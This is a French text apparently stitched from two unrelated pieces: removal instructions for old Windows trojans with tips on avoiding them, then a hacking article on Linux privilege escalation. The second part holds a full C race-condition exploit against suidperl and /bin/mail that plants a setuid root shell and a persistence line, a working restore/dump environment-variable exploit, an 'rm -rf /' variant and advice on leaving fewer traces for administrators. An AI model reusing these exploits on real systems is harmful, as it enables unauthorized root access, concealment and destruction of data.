Attack FTP : - Faites "Ctrl+Alt+Suppr", cliquez sur "Drwatsom" et fin de tache - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "Wscan.exe Louis_Cypher" et OK - Recliquez sur Exécuter puis tapez "regedit" - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Clé "Reminder" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimer "Wscan.exe" (WINDOWS\SYSTEM) - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

BackConstruction 2.1 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "Cmctl32.exe" puis supprimer la - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\General\Settings" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à "P23H" puis supprimer le - Fermez la base de registre et redémarrez votre ordinateur - Supprimer "Cmctl32.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

Barok 2.0 : - Allez dans le menu démarrer - Cliquez sur Exécuter puis tapez "regedit" - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond puis supprimer le - Fermez la base de registre et redémarrez votre ordinateur - Supprimer le fichier du même nom (WINDOWS\SYSTEM) - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

BF Evolution 5.3.12 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom "Default" qui correspond à la Donnée " " puis supprimer la - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" - Regardez dans la fenêtre de droite et cliquez sur le Nom "Default" qui correspond à la Donnée " " puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez " .exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

BLA 5.03 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et supprimez le Nom qui correspondent à "System" dont la Clé est "mprdll.exe" - Puis supprimez l'entrée "ReD&BluE" qui se trouve dans "HKEY_LOCAL_MACHINE\Software" - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "mprdll.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

BO-BO 1.0 Beta Final : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "Dllclient.exe" puis supprimer la - Ouvrez "HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\ICQ Accel" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "Dllclient.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "Dllclient.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

Bugs : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_USERS\DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "SYSTEMTR.EXE" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "Systemtr.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

ButtMan 0.9n : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "DUNCNTRL.EXE" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "DUNCNTRL.exe" qui se trouve la ou vous l'avez mis - Supprimez aussi "Fngkhlib.dll" 27.5Ko - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

Chupacabra : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "win.ini" et OK - A la suite de "load=" et "run=" supprimez uniquement "winprot.exe" - Retournez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à "System Protect" puis supprimer le - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à "Chupv" puis supprimer le - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à "System Protect" puis supprimer le - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à "System Protect" puis supprimer le - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "winprot.exe" ( WINDOWS\SYSTEM ) - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

Coma 1.0.9 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "msgsrv36.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "Msgsrv36.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

EclYpse 1.0 Beta : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "Rmaapp.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "Rmaapp.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

EvilFTP : - Editez le fichier "Win.ini" (dans le répertoire WINDOWS) - Supprimez à la troisiéme ligne tout ce qu'il y a après "run=" - Redémarrez votre ordinateur - Supprimez "msrun.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

Fatal Network Error : - Supprimez le fichier de l'emplacement ou vous l'avez mis - Supprimez le fichier "os32779.sys" (dans C:\).

File Nail 1 : - Supprimez "server.exe" de l'endroit ou vous l'avez mis - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

GirlFriend 1.35 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "windll.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "windll.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

HackCity Ripper Pro : - Il suffit juste de redémarrer Windows - Et d'effacer dans WINDOWS le "Wininit.bak" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

INet Password Sender 2.0 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "inet.exe" puis supprimez la - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\" - Supprimez l'entrée "Send" dans la fenêtre de gauche - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "inet.exe" et "isys.dll" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

NetBus 2.10 Pro : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "NBSRV.exe" puis supprimer la - Ouvrez "HKEY_LOCAL_MACHINE\Software\" - Supprimer l'entrée "Net Solution" - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "nbsvr.exe", "nbhelp.dll" et "log.txt" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

NetRex 2.0b Pro : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_CURRENT_USER" vous allez voir dans la fenêtre de gauche "NetRex Server" supprimez le - Fermez la base de registre - Supprimez "PATCH.exe" et "NRHelp.dll" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

PRIORITY Beta : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices-" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "PServer.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "PSERVER.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

Schwindler 1.82 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "user.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "user.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

Server-U : - Faites "Ctrl+Alt+Suppr", cliquez sur "Rundlls" et fin de tache - Supprimez "Rundlls.exe" 460Ko, "Serv-u.ini" 387 octets, "Closew.pif" 967 octets, "Closew.bat" 43 octets - Cliquez sur Exécuter - Supprimez aussi votre "Win.ini" ( car il a été modifié ) - Renommer le "win.ori" en "Win.ini" ( c'est votre original ) - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

SK Silencer 1.0.0 : - Appuyer simultanément sur Ctrl+Alt+Suppr - Une fenêtre va s'ouvrir - Cliquez sur "PRIORI~1" puis fin de tâches - Supprimez "Server.exe" qui se trouve dans le répertoire ou vous l'avez mis - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

The Trojan Cow 1.0 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "Syswindow.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "Syswindow.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur.

Eviter les trojans : Un trojan est le terme employé pour désigner BackDoor. En fait on devrait appeler trojan, un programme (presque virus) qui s'infiltre à l'insu d'un utilisateur pour foutre son merdier, selon ses capacités. Une BackDoor fonctionnant presque sur le même principe, le terme a été généralisé, et ce n'est plus une erreur de dire "trojan" (ou troyan, ou troyen au pluriel), à la place de BackDoor.

Le trojan a la particularité de créer une voie d'accès à votre système: c'est d'ailleurs l'un des moyens les plus simples (en général les lamers aiment bien ce genre de programmes juste pour faire joujou), et les plus rapide et efficace de créer une faille vers votre système: en effet une fois le trojan (appelé partie serveur) éxcécuté, l'attaquant peut directement se connecter sur votre système avec la partie client. Actuellement les trojans les plus usités sont: Back Orifice (et Back Orifice 2000), Netbus (1.3, 1.7, 2.0), Subseven 1.3, Socket de Troie etc. Parmis ceux-là on devrait appeler intrus celui qui l'est: Back Orifice. Ce "trojan" est un réalité un programme (un vrai) qui a été créé dans un but nuisible mais non avoué: en effet il permet d'administrer un réseau plus directement qu'en étant sur le réseau. Bref, ça ne change rien quand à son utilisation nocive.

Pour éviter de choper un de ces trojans, des programmeurs ont mis au point plusieurs anti-troyens, le plus connu étant le BouffeTroyen. Ce programme détectait une grande quantité des trojans qui pouvaient exister sur votre système, mais comme tout programme, il se fait vieux. Alors se sont suivis des anti-trojans spécifiques: Anti-Socket de Troie, Anti BO, Netbuster... Mais ces programmes ne constituent pas les protections les plus efficaces, mieux vaut prévenir que guérir, ce que font les Firewalls c'est de détécter une tentative de connection sur les ports surveillés, qui sont ceux par défauts utilisés par les trojans les plus connus. D'autres firewalls, détectent presque toutes les tentatives de connection: ce qui amène a des plantages. Lockdown 2000 est un de la première catégorie: une fois une tentative de connection détectée, il fait un Traceroute (tracert) sur l'IP qui a tenté la connexion et en vous prévenant. Ce merveilleux Firewall scanne aussi la présence d'infections dès son lancement.

La meilleure des protections restent les anti-virus qui détectent les trojans pré-repérés, ou encore les programmes qui se définissent à s'inscrire sur le système ou dans d'autres programmes : ainsi les programmes pour détécter les jeux sont détectés comme infectés, ces anti-virus, vous les connaissez: AVP (AntiViral toolkit Pro) et Norton (la version 2000, qui détecte les trojans, est sortie). Ce sont là les deux meilleurs anti-virus qui sont à disposition de chacun. Un autre truc quand on n'a rien installé et qu'on veut rapidement vérifier si une personne s'est connectée à soi, c'est d'aller sous dos (répertoire C:\windows par défaut) et de taper 'netstat': cela vous affichera tout ce qui est en train de se connecter à vous, sur quel port, et l'IP de la "chose" qui essaye de se connecter. Vous verrez OBLIGATOIREMENT des IP s'afficher, mais ne stressez pas: c'est normal. Surtout si vous faites de l'ICQ, ou autres.

Il y a plusieurs choses qui me motivent pour écrire cet article, déjà, apprendre a ceux qui s'y interesse, ce que sont réellement les trous de securité dans un Os donné, au dela même du simple lancement de l'exploit. ( et meme des fois sur plusieurs Os - le buffer overflow par exemple - ). Comme le dit très bien SorceRy dans son article de Noroute #1 qui m'a fait decouvrir la securite plus en profondeur et qui m'a réellement motivé a rechercher, coder, et expliquer des failles, le Hacking ce n'est pas passer root en remarquant que telle programme vulnerable est present et en lancant l'exploit choper sur le net, c'est justement ecrire cet exploit. Si il existe deja, alors tant mieux, mais le but n'est pas de passer root. Cet article ne s'adresse pas uniquement au debutant ( il faut un minimum de base en C et d'Unix pour suivre cette article ) mais à toute personne interessée par les race condition et l'utilisation de variable d'environnement pour acquerir des privileges superieur au notre. Au lieu de théoriser tout cela, on va voir son exploitation en pratique a travers deux failles, la race condition de /bin/su tres repandue, et la faille de restore et dump de la redhat 6.x du a certaine variable ainsi que les faille du de /tmp et celle du au metacharacter pour changer. J'espere que cet article vous sera instructif.

Race condition :
Comme son nom l'indique, les "race condition" sont une courses contre le systeme pour profiter d'un instant ou il est vulnerable. Bien que cela paraisse plus compliquer, l'ecriture d'un exploit de ce type n'est pas difficile, l'important etant surtout de reussir a creer cette condition, ou de trouver ce moment ou il est vulnerable. Dans le cas de cet exploit, nous creons nous meme la race condition, mais il s'agit parfois d'exploiter une action qui va se passer a un moment precis comme parfois l'execution d'une commande par cron avec les privileges root ( par exemple la supression d'un fichier )... En pratique tout est plus clair :
Cette fois je m'attaque au mythique /bin/Mail. Non pas que cette faille manque egalement de documentation, mais plutot pour expliquer le principe. En reflechissant bien, il n'existe pas tant de type de faille que ca.. Je veux dire que les failles se divisent en 3 ou 4 groupes et que tous les exploits qui existent decoulent de cela. Imaginez par exemple que tous les langages de programmation serait secure et qu'il ne serait pas possible de depasser la capacite d'un buffer... Le nombre des exploit diminuerait enormement. Penchons nous sur l'obtention du root dans des conditions bien speciales... Apres on verra les failles dues au fichier root dans un repertoire ou un simple user a un acces ( son HomeDir, /tmp... ). Chez moi, il semblerai que les conditions du suidperl soit reunit pour creer les conditions pour
exploiter Mail mais l'exploit fourni par l'auteur ne marche pas.. De quoi me blasé. Ce qui est egalement une des raisons de cette article. De plus la faille est interessante, tout autant que la maniere de l'exloiter...
Examinons donc le code. Bon deja faut que vous verifiez si vous votre Box est vulnerable...
$ find /usr/bin -user root -perm +a=s | ( grep suidperl && grep passwd )
/usr/bin/suidperl
/usr/bin/passwd # ou n'importe quel file +a=s et -user root
Bon la c'est bon, il sont tout les deux suid root. Si la faille est la, on sera root :)
Il semblerait qu'il y est plusieurs choses à faire avant que la condition du race soit reunit.
Comme d'habitude lorsque qu'on detourne un programme pour lui faire passer Une et Une seule commande setuid/gid, il va falloir creer un script shell qui, si tout marche, sera executer en root et executera les commandes suivantes : chown root.root RootShell ; chmod 6755 RootShell, ce qui a pour effet de mettre des proprietes root au fichiers, donc de creer un RootShell executable par un simple user... :) Donc je cree mon fichier Rootshell ( cp /bin/sh ~/RootShell ) et mon fichier createRS, n'oubliez pas de mettre #!/bin/sh au debut de createRS et de lui attribuer des proprietes d'execution ( chmod +x createRS ).
Maintenant on a quelque variable d'environnement a modifier :
$ FILENAME='hum
$ ~!createRS # Ce que /bin/mail va executer en root !
$ ';
$ export interactive = 1 # Necessaire pour la condition du race.
$ export PATH=.:$PATH # La on rajoute le rep. courant dans $PATH.
La variable interactive est celle qui est appele lorsque /bin/mail vaut avertir le root. C'est
grace a cela que l'on va pouvoir passer des commandes root. C'est la qu'on comprend que notre Exploit va etre en deux "parties", a savoir celle qui va creer la condition ( pour cela on utilises suidperl ou n'importe quel binaire du root setuid et gid qu'un simple user peut lancer, ex : passwd ), et ce qu'il faut faire pour exploiter le moment ou le systeme est vulnerable. Dans cette faille c'est simple, nous devons modifié la valeur de la variable d'environnement FILENAME pour pouvoir lancer un de nos binaire avec les memes privileges ( le processus pere donne ses droits d'execution au processus fils).
Vous pouvez essayer avec un autre programme vous verrez, il faut juste modifier la
valeur de PATH pour un autre binaire repondant a find -user root -perm +a=s.. ( je parle de PATH de #define PATH dans le code source de l'exploit et non de $PATH..).
Reprenons... Encore une petite chose a faire et c'est bon.. Il faut creer un fichier qui lors de son execution affiche :
print"Sauron respect Sebastian & Marchew Industries for discovered this hole\n"; par exemple, nous l'appelerons 'cmd'.
et bien sur (pour suidperl avec #!/bin/suidperl sinon suidperl n'intervient pas et le race ne se fera pas);
On ne pe pas rajouter un petit echo devant et le mettre dans un file executable car les "" ne seront pas restituer et comme il s'agit de Perl, il ne faut pas les negliger.
Voila c'est bon,toute les conditions sont reunies. Il ne reste plus qu'a creer les conditions
dans laquelle l'exploitation de la faille va etre possible. Il faut environ quelques minutes (selon l'auteur de l'exploit originaire ) pour que ~/RootShell soit bien un RootShell. On creait un dernier petit script shell qui s'occupera d'attendre pour nous et de nous donner le RootShell des que possible :))... Voici l'exploit que j'ai programmer en C pour cette faille.
Pour voir le script qui crait la faille lancer l'exploit puis stoper le et regarder /tmp/.racexe
Il s'agit d'utiliser nice avec la variable $filename linker avec notre cmd. En jonglant avec le link de cette variable alors que nice tourne en memoire ( & ) on crait la condition :)
Selon les capacite de la machine, on y parvient plus ou moins vite, il vous suffit de rajouter des fork(); apres le while(1) si ca ne marche pas apparament chez vous... Mais il arrive que trop de fork dans une boucle continut crash la machine si on peut plus l'arreter ! Soyez prudent donc...
----|> Exploit.c
#define PATH "/usr/bin/suidperl" /* A modifier eventuellement */
#define RootShell "/tmp/.RootShell" /* Notre futur Root-Shell */
#define Exerace "/tmp/.racexe" /* Pour creer la faille */
#define TMPFILE "/tmp/createRS" /* Fichier a executer en root */
#define FLARE "/tmp/cmd"
#define FLaRE "/tmp/cmd2"
#define ln "/bin/ln"
#define perl "/usr/bin/perl"
#define nice "/bin/nice"
#include <stdio.h>
#include <sys/stat.h>
struct stat mod1,mod2;
FILE *suidexec;
main(){
printf("[*]Exploit par Sauron\n");
if(stat(ln,&mod1)){
printf("Modifie le Path de ln dans les sources...(whereis ln)");
}
if(stat(perl,&mod1)){
printf("Modifie le Path de perl dans les sources...(whereis perl)");
}
if(stat(nice,&mod1)){
printf("Modifie le Path de nice dans les sources...(whereis nice)");
}
if(stat(PATH,&mod1)){
printf("Desoler toto t'as pas suidperl change PATH...\n");
exit(0);
main();
}
else
printf("[1]-Suidperl present sur cette Box.. OK!\n");
printf("[2]-Creation des fichiers temporaires :\n");
suidexec=fopen(TMPFILE,"w");
fprintf(suidexec,"#!/bin/sh\n");
fprintf(suidexec,"cp /bin/sh %s\n",RootShell);
fprintf(suidexec,"chown root.root %s\n",RootShell);
fprintf(suidexec,"chmod 06755 %s\n",RootShell);
fclose(suidexec);
chmod(TMPFILE,04700);
printf("OK!\n");
suidexec=fopen(FLARE,"w");
fprintf(suidexec,"#!%s\n", PATH);
fprintf(suidexec,"print \"Smoke!\";\n");
fclose(suidexec);
chmod(FLARE,04700);
printf("OK !\n");
suidexec=fopen(FLaRE,"w");
fprintf(suidexec,"#!%s\n", PATH);
fprintf(suidexec,"print \"Smoke!\n\";\n");
fclose(suidexec);
chmod(FLaRE,04700);
printf("[2]-(3/4) Preparation des conditions de l'exploit...\n");
suidexec=fopen(Exerace,"w");
fprintf(suidexec,"#!/bin/sh\n");
fprintf(suidexec,"filename='foo ~!createRS ';\n");
fprintf(suidexec,"interactive=1\n");
fprintf(suidexec,"export PATH=/tmp:$PATH\n");
fprintf(suidexec,"/usr/bin/perl -e'unlink($filename);'\n");
fprintf(suidexec,"/bin/ln -f -s \"$filename\" /tmp/cmd\n");
fprintf(suidexec,"/bin/nice -20 \"$filename\">/dev/null &\n");
fprintf(suidexec,"/usr/bin/perl -e'unlink($filename);'\n");
fprintf(suidexec,"/bin/ln -f -s \"$filename\" /tmp/cmd2\n");
fprintf(suidexec,"/bin/nice -20 \"$filename\">/dev/null &\n");
fclose(suidexec);
chmod(Exerace,04700);
printf("OK!\n");
printf("[3]- On fait executer createRS en setuid et guid.\n");
printf("[4] Patience maintenant ! \n");
fork();
fork();
fork(); /* En voici un bon nombre ! */
fork();
while(1) { /* On lance en boucle pour creer le race */
system("/tmp/.racexe >> /tmp/ae58dsdfx2");
if(stat(RootShell,&mod2)){
}
else if(mod2.st_mode==06775){ /* Quand le shell est root on le lance et quitte l'exploit :) */
system("rm -f /tmp/foo* /tmp/createRS /tmp/cmd* /tmp/ae58dsdfx2");
printf("OK ! %s est setuid et guid :).\n",RootShell);
printf("Ton shell est desormais root !\n");
printf("Fais mv /tmp/.RootShell ~/yeah si tu veux garder ce shell root a l'avenir ... \n");
system("/tmp/.RootShell && echo Coded by Sauron && echo ./yeah >> ~/.bash_login"); /* Et on se la pete */
exit(1);
}
}
}
----|> End of Exploit.c
Et voila. En fait dès que createRS est lancer avec les propriete root, il met des permissions +u=s a ~/RootShell. Celui ci est surveiller par la boucle continu while et le if [ -u /RootShell ] pour etre executer des qu'il est root. Le temps d'attente est du au fait que /bin/Mail ne notifie pas le root sur le coup, faut laisser le temps au reste de script de creer la condition.
Je tient a preciser que cette faille etait deja presente sur les RedHat 5.2 !! Je ne sais
pas quand elle a ete decouverte mais c'est clair que Red Hat aurait pu faire un effort pour
ne pas qu'on la retrouve. La plupart des distribution ( toutes ? ) sont vulnerables a cette
faille... En ecrivant cette article je me suis appercu que il y a deux version de l'exploit.
Un en script sh qui ne marche nul part ( celle que j'avais ) et un en perl ( hack.pl ). L'exploit en perl fonctionne mais je n'en avais pas connaissance au moment ou j'ai ecrit cet article,
et de toute facon il laisse trop de trace dans /tmp, ce qui vous fait du boulot en plus des fois que le vrai root irait jeter un coup d'oeil... Bon, j'espere que vous avez desormais une idee precise de ce qu'est une race condition et de son exploitation. Je vous conseille de parcourir quelque source ou documentation sur des exploits utilisant une race condition pour avoir une plus vaste idee des differentes failles qui peuvent exister.

Variable d'environement :
On va maintenant passer au faille du au variable d'environnement qu'utilisent des programmes suid : Le but n'est pas tant de vous instruire a propos de cette faille mais sur les moyens en generals d'outrepasser la securite du systeme et de passer administrateur sans ce faire remarquer. Dans cette faille, il est ainsi aisé de passer root. Cette faille consiste en fait a faire executer un de nos executables a un programmes qui a des privileges root :) .Pour cela plusieurs moyens, par exemple si un programme appel un programme via, system("prog") et non en faisant system("/bin/prog"), il sera facile de modifier la valeur de $PATH par /tmp, et de mettre un executable nommer prog dans /tmp, qui sera alors executer :) Dans cette article, on va s'y prendre autrement mais cela revient au meme.
En effet certain programme, tel que restore ou dump, font appel a des variables d'environnement pour connaitre le programmes a lancer. Variables que l'on peut modifier. Voila, vous avez piger le truc. Voyons la pratique...
Cette article donne une approche d'une des manieres qu'il existe pour exploiter un systeme. J'ai ecrit d'autre article sur d'autre moyen d'outrepasser la securite, par exemple les "Buffer Overflow", ou encore les failles du au trop grande permission d'acces de /tmp et au fait que des programmes de permissions differentes y deposent des fichiers... Mais nous resterons
pour le moment a celle que cree les permissions des variable d'envirronement. Plus generalement nous exploiteront le fait que les processus fils garde les propriete des processus pere pour lancer un de nos executable et prendre le contrôle de la Box.
Par ailleurs le but de cette article est de donner des precision sur cette faille, qui est tres tres mal documente, pour preuve : il parle de buffer overflow sur Bugtraq alors que ce n'est pas du tout le cas.
Comme vous vous en doutez, restore est un programme qui se lance avec des privileges root, et que les simple user peuvent lancer. Je vous explique comment exploiter restore :
Il vous suffit de modifier deux variable d'environnement :
*TAPE : il faut lui attribuer la valeur ":" ( export TAPE=:)
*et RSH, qui est nettement plus interessante car son contenue sera executer avec les privileges root.
Ainsi si RSH execute un de vos executable, il sera lancer avec les privileges root:))
Comme tout le monde a acces au repertoire /tmp, on va placer notre executable qui sera lancer la dedanns..
Demonstration :

$ find /sbin -user root -perm +a=s
/sbin/netreport
/sbin/dump
/sbin/restore
/sbin/dump.static
/sbin/restore.static
/sbin/pwdb_chkpwd
/sbin/unix_chkpwd
$ export TAPE=:
$ export RSH=/tmp/Ell33T
$ echo chown root.root ~/Hacker >> /tmp/Ell33T # Pour que mon shell soit root je dois lui donner ses propriete...
$ echo chmod 6775 ~/Hacker >> /tmp/Ell33T
$ echo rm -f /tmp/Ell33T >> /tmp/Ell33T
$ cp /bin/sh ~/Hacker
$ chmod +x /tmp/Ell33T # Tout est pres pour le lancement de restore...
$ echo RoooooottT | restore -R 1>/dev/null 2>&1 # Vous pouvez remplacez cette ligne par $ dump -0 /
$ cd
$ ./Hacker # Je lance mon RootShell
# whoami #* Qui suis-je ? *
root
# echo C'est trop facile :)
Et voila le boulot.. :))
A partir de ma demonstration vous pouvez faire un script sh qui l'exploitera par exemple.
Vous auriez tout autant pu faire : $ export TAPE=: && export RSH="rm -rf /" && echo lame | restore -R 1>/dev/null 2>&1, ce qui aurait eu pour effet de formater le systeme de maniere discrete... Mais ceux qui font ca ne sont pas des Hackers mais des Crackers ou des Lamers... L'exemple etait juste pour confirmer la theorie ...
Vous pouvez egalement essayez avec dump, ca marche aussi et de la meme maniere :)
Cette faille, c'est rpc le premier a l'avoir trouver et il a fourni un exploit en C pas mal fait mais tres peu clair alors que l'exploit est des plus simple...voila. J'espere vous avoir eclairci. restore est sur pas mal de systeme et je suppose que la RedHat 6.2 n'est pas la seul a le proposer par default.

Overwriting :
Et en plus vous avez un BONUS... Voici des choses interessantes et toujours avec dump ( tant qu'on y est... ) :
$ yo=AAA ( Je continue avec A x 594 :)
$ dump -fa $yo
DUMP: SIGSEGV: ABORTING!
Segmentation fault
Bien qu'en realite cette faille ne soit pas exploitable, vous voyez que l'on peut creer des buffers overflows en surchargant une variables d'environement, ainsi meme si elle n'a pas le role de RSH, qui indique un programme a exploiter en suid root ( trop simple ), vous pouvez utiliser une variable qui sera utiliser pour creer un debordement de la capacite du buffer et reecrire certains registres ( %eip ou la section .dtors par exemple ). Il ne suffit bien sur pas de donnees une valeure tres grande au variable qui sont utilisees, il faut qu'il y est une erreur de programmation dans le programme comme par exemple : strcpy(buffer, getenv(variable));.
Les possibilite d'exploitations d'appels a des variables sont donc grandes. Un autre type de faille classique, est un appel indirecte a la variable $PATH, lors d'un appel system(); Si le programme fait system(prog); alors il est aisee de modifier $PATH pour le faire pointer dans /tmp ou dans $HOMEDIR et de creer un binaire du nom de 'prog' qui sera executer a la place de l'autre ( Fyodor a ecrit un bon article a ce sujet dans Phrack il me semble ). Voila pour cette fois ci. C'est volontairement que je ne traite pas des buffer overflows car il existe deja beaucoup de bon article a ce sujet, et ca n'aurait eu que tres peu d'interet d'en faire une repetition. Personellement je vous conseille trois textes a ce sujet :
[1] Le premier est la traduction est Francais de l'excellent article de Aleph One sur les bo
[2] Le deuxieme est le complement de Seb pour exploiter de petit buffer ( utile !)
[3] Le troisieme est la traduction de l'article de Juan M. Bello Rivas que j'ai faite sur l'ecrasement de la section .dtors, comme j'y est fait allusion plus haut. Cette technique peu connut permet d'exploiter un programme sans perturber son deroulement mais en lui faisant simplement executer un shellcode en plus.. ce qui est tres discret. Mais son principale avantage reside dans le fait que l'on peut desormais exploiter des buffers qui ont ete entrer en memoire avant que soit sauvegarder IP ( dans %eip ) ou l'adresse de la fin de la memoire dans SP ( %esp ). Ainsi meme si on ne peut pas reecrire l'adresse de retour d'une fonction en exploitant un buffer overflow, on peut cependant faire pointer le programme avec ses permissions vers un de nos bout de code ( un shellcode donc ) apres que la fonction est passer l'overflow et terminer le programme :) Ainsi on pourait par exemple reecrire l'exploit dit inexploitable de dump -fa + 596 characteres ou un truc comme ca en lui faisant modifier .dtors ! Voila, comme ca a partir du moment ou on peut ecrire en memoire a cause d'une faille quelquonque ( format string, bo, faille glibc etc. ), on a plus de chance de pouvoir s'en servir pour exploiter un programme...

/tmp Hole :
Bon et comme je me sens obliger de vous parler des failles de /tmp dans un article comme celui ci, voyons vite fait comment elles sont creer. En fait la faille reside dans le fait que un simple user puisse effacer un fichier du root, qui sera recreer par la suite par le meme user, ou par un processus avec ces droits :)
